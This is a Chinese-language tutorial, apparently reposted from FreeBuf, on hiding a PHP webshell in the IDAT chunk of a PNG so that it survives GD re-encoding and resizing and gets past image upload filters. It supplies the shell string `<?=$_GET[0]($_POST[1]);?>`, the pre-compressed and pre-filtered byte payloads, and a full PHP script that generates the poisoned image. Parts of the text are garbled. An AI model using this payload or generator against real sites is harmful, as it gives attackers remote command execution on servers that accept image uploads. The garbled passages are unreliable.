把webshell編入一個圖片中,就能夠繞過繞過服務(wù)器的邊界過濾,然后就像憑空讓shell真實(shí)出現(xiàn)了一樣。(并不是在comments或者metadata中編碼),那么如何只用GD就將PHP shell寫入PNG IDAT?
如果不能將代碼寫入文件系統(tǒng),使用server misconfiguration 或Local File Inclusion 可能會非常難,以前允許圖像上傳的應(yīng)用提供了有限的方法來通過metadata或者malformed images 從而將代碼上傳到服務(wù)器上。更多的情況是,無論怎么改變圖片的大小,選擇圖片,修改削減它們的metadata或者是有效的寫入其他的文件格式,都會破壞webshell的payload。
FreeBuf科普:
在PNG文件格式之內(nèi)(真彩色PNG文件,而不是壓縮的文件),IDAT塊存儲著像素信息。我們在組塊中寫入PHP shell。注意,目前認(rèn)為pixel總是以3字節(jié)形式代表 RGB顏色通道存儲。當(dāng)將原始圖像被保存為PNG圖像時,圖片的每一行都會以字節(jié)為單位被進(jìn)行過濾,每一行都有一個前綴數(shù)字說明其使用的過濾器的類型(0×01到0×05),不同的行可能使用不同的過濾器。這樣做的理由是為了提高壓縮比。一旦所有的行都完成被過濾,他們都用DEFLATE算法壓縮來形成IDAT chunk,如圖:
所以,如果我們想要以原始圖像形式輸入數(shù)據(jù),并且以shell形式儲存,我們不僅需要bypass PNG line filters,還需要bypass DEFLATE algorithm。 從反方向進(jìn)行更容易,所以我們以DEFLATE開始。
第一步:對一串字符串進(jìn)行壓縮形成一個shell腳本。
理想狀態(tài)下,我們需要設(shè)計一種能夠被壓縮成shell腳本的字符串,這個過程并沒有想象的那么難,但明顯的是,我們的字符串不能夠包含任何重復(fù)的代碼塊(否則它們將會被壓縮)。事實(shí)上,為防止腳本被壓縮必須設(shè)計一種不包含任何超過兩個以上字符的子串。這就意味著,我們必須保持字符串簡短。
< ? = ` $ _ G E T [ 0 ] ` ; ? >如果真的只是那么簡單就好了。悲哀的是,如果你對上面的字符串進(jìn)行縮減,將會得到一大堆的無用輸出。字符串并未被壓縮,但是縮減的結(jié)果不會從一個字節(jié)的范圍開始,并且將會使用最低有效位進(jìn)行編碼而非最高有效位。
事實(shí)證明,最容易編碼的shell腳本是用大寫字母編寫的。
< ? = $ _ G E T [ 0 ] ( $ _ P O S T [ 1 ]) ; ? >可以通過指定輸入?yún)?shù) $ _ G E T [ 0 ] 作為shell腳本執(zhí)行的參數(shù),通過用shell腳本命令來傳遞一個輸出參數(shù)$ _ P O S T [ 1 ]來執(zhí)行它。
我們已經(jīng)構(gòu)建了下列字符來DEFLATES上面的部分,該字符串具有一個非常顯著的優(yōu)點(diǎn),那就是可以將payload的首字節(jié)由0×00 更改至0×04 ,而壓縮后的字符串仍可讀。這對于進(jìn)行下一個過程中的某個需要跨過png filters格式圖形的階段是至關(guān)重要的。
03a39f67546f2c24152b116712546f112e29152b2167226b6f5f5310而令人心塞的是,只能在deflates這串字符之后,嵌入最初的原始圖像并由此生成圖像數(shù)據(jù)塊作為png格式的圖像數(shù)據(jù)庫,并最終經(jīng)由程序篩選并排列出圖像。 那么就要繼續(xù)來bypass了
第二步:繞過PNG line filters
一共有5種不同類型的過濾器,PNG編碼器確定每一條線用哪一種,F(xiàn)在的問題是我們需要建設(shè)一個經(jīng)過過濾器時,能夠引發(fā)步驟1的字符串生成的字符串。
只要我們的圖像只包含1行有效載荷(該圖像的其余部分需要是不變的顏色如黑色),那么將會遇到的是1和3號兩個過濾器,為了將事情進(jìn)一步簡化,如果有效負(fù)載保持在圖像的左上角那么我們可以寫出兩個相反濾波器的代碼如下:
// 反過濾器 1 for ($i = 0; $i < $s; $i++) $p[$i+3] = ($p[$i+3] + $p[$i]) % 256; // 反過濾器 3 for ($i = 0; $i < $s; $i++) $p[$i+3] = ($p[$i+3] + floor($p[$i] / 2)) % 256;但是如果只使用過濾器3編碼有效載荷,PNG編碼器將嘗試使用過濾器1去編碼,而且如果使用過濾器1編碼的話,PNG編碼器會嘗試使用過濾器0 - 這最終會陷入一個循環(huán)…
所以為了控制PNG編碼器選擇哪一個過濾器,在第二步編寫了和過濾器3和過濾器1兩個相反的shell,并把它們連接起來。這迫使編碼器為有效載荷選擇過濾器3,并且確保當(dāng)原始圖像被編寫時,轉(zhuǎn)變成步驟2的代碼。
然后將壓縮儲存在IDAT chunk中的webshell中。
以下的payload通過以上方式實(shí)現(xiàn)——過濾器3為綠色,過濾器1為灰色。搞笑的是,事實(shí)上,使用過濾波器使payload變大。。。。
0xa3, 0x9f, 0x67, 0xf7, 0xe, 0x93, 0x1b, 0x23, 0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9
, 0xe1, 0xae, 0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc, 0x5a, 0x1, 0xdc, 0x5
a, 0x1, 0xdc, 0xa3, 0x9f, 0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c, 0xa1, 0x
3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d, 0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88
, 0xa1, 0x66, 0x44, 0x50, 0x33
第三步:創(chuàng)建原始圖像
當(dāng)構(gòu)造的能夠?qū)D寫入PNG文件的原始圖像時,這時候?qū)⒂行ayload的圖像放在圖像的第一行是至關(guān)重要的。
在這一點(diǎn)上,上面只提供了適用于小型圖像(~40PX )的有效載荷,構(gòu)建較大的圖像尺寸的有效載荷也是可以的。
payload需要被編碼為像這樣的RGB字節(jié)序列:
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0xe, 0x93, 0x1b, 0x23, 0xbe, 0x2c, 0x8a, 0xd0
, 0x80, 0xf9, 0xe1, 0xae, 0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc, 0x5a, 0x
1, 0xdc, 0x5a, 0x1, 0xdc, 0xa3, 0x9f, 0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0
x4c, 0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d, 0x60, 0x65, 0x7d, 0x52, 0x
9d, 0xad, 0x88, 0xa1, 0x66, 0x44, 0x50, 0x33); $img = imagecreatetruecolor(32
, 32); for ($y = 0; $y < sizeof($p); $y += 3) { $r = $p[$y]; $g = $p[$y+1]; $b
= $p[$y+2]; $color = imagecolorallocate($img, $r, $g, $b); imagesetpixel($img,
round($y / 3), 0, $color); } imagepng($img);
圖像被創(chuàng)建,會在黑色背景的左上角,顯示一串相像素。
當(dāng)用hex editor看圖像時,將會看到以下 shell:
如果不想要黑色的背景,也是可以的。可以直接略過用data填寫背景步驟。只要該data 中的bytes(不是pixels)不出現(xiàn)在圖像內(nèi)部的其他部分即可。如果出現(xiàn)在其他部分,當(dāng)IDAT block 被壓縮時,payload可能會被破壞——也可能會導(dǎo)致其他過濾器被編碼器調(diào)配。
第四步:繞過圖片轉(zhuǎn)換(image transforms)
把webshell放入IDAT chunk的主要原因是能夠人為繞過改變尺寸和重新采樣操作——PHP-GD 包括兩個這樣做的函數(shù)。
Imagecopyresampled通過取一組像素的平均值來改變圖像,這就意味著,為了繞過這一函數(shù),需要在一系列矩形或正方形中進(jìn)行編碼。而Imagecopyresized通過在每幾個像素中抽樣更改圖像,為了繞過這一函數(shù),實(shí)際只需更改幾個像素。以下的兩張圖,當(dāng)被改變到他們原來尺寸的 1/8時,都包含 webshell。
Kim Shell——使用imagecopyresize將尺寸改為32×32 并保存為PNG 格式,然后使用 GD 來顯示該shell.
使用imagecopyresample將尺寸改變到32×3 并保存為PNG格式,使用GD顯示shell。
總結(jié)
在IDAT chunks 插入shell有很多的優(yōu)點(diǎn),能夠繞過大多數(shù)的數(shù)據(jù)驗證技術(shù),在這些技術(shù)中,應(yīng)用程序調(diào)整或者重新編碼上傳的圖片。甚至可以以GIF或JPEG等上傳以上payload。只要最終的圖片是以PNG格式保存的即可。
國產(chǎn)工具PKAV HTTP Fuzzer滲透測試助手最新發(fā)布
閱讀惠普漏洞:惠普ArcSight企業(yè)安全系列產(chǎn)品曝高危安全漏洞
閱讀蘋果Mac OS X系統(tǒng)被發(fā)現(xiàn)存在DLL劫持漏洞
閱讀D-Link(友訊)路由器曝遠(yuǎn)程文件上傳及命令注入漏洞(已發(fā)布安全更新)
閱讀Win10將使用P2P進(jìn)行系統(tǒng)更新,引發(fā)安全擔(dān)憂
閱讀美國最大的無卡ATM網(wǎng)絡(luò)即將推出,從此告別刷卡!
閱讀谷歌應(yīng)用漏洞泄漏超過28萬條私人WHOIS數(shù)據(jù)
閱讀使命召喚、魔獸世界、英雄聯(lián)盟……專攻游戲的勒索軟件TeslaCrypt
閱讀本站所有軟件,都由網(wǎng)友上傳,如有侵犯你的版權(quán),請發(fā)郵件[email protected]
湘ICP備2022002427號-10 湘公網(wǎng)安備:43070202000427號© 2013~2025 haote.com 好特網(wǎng)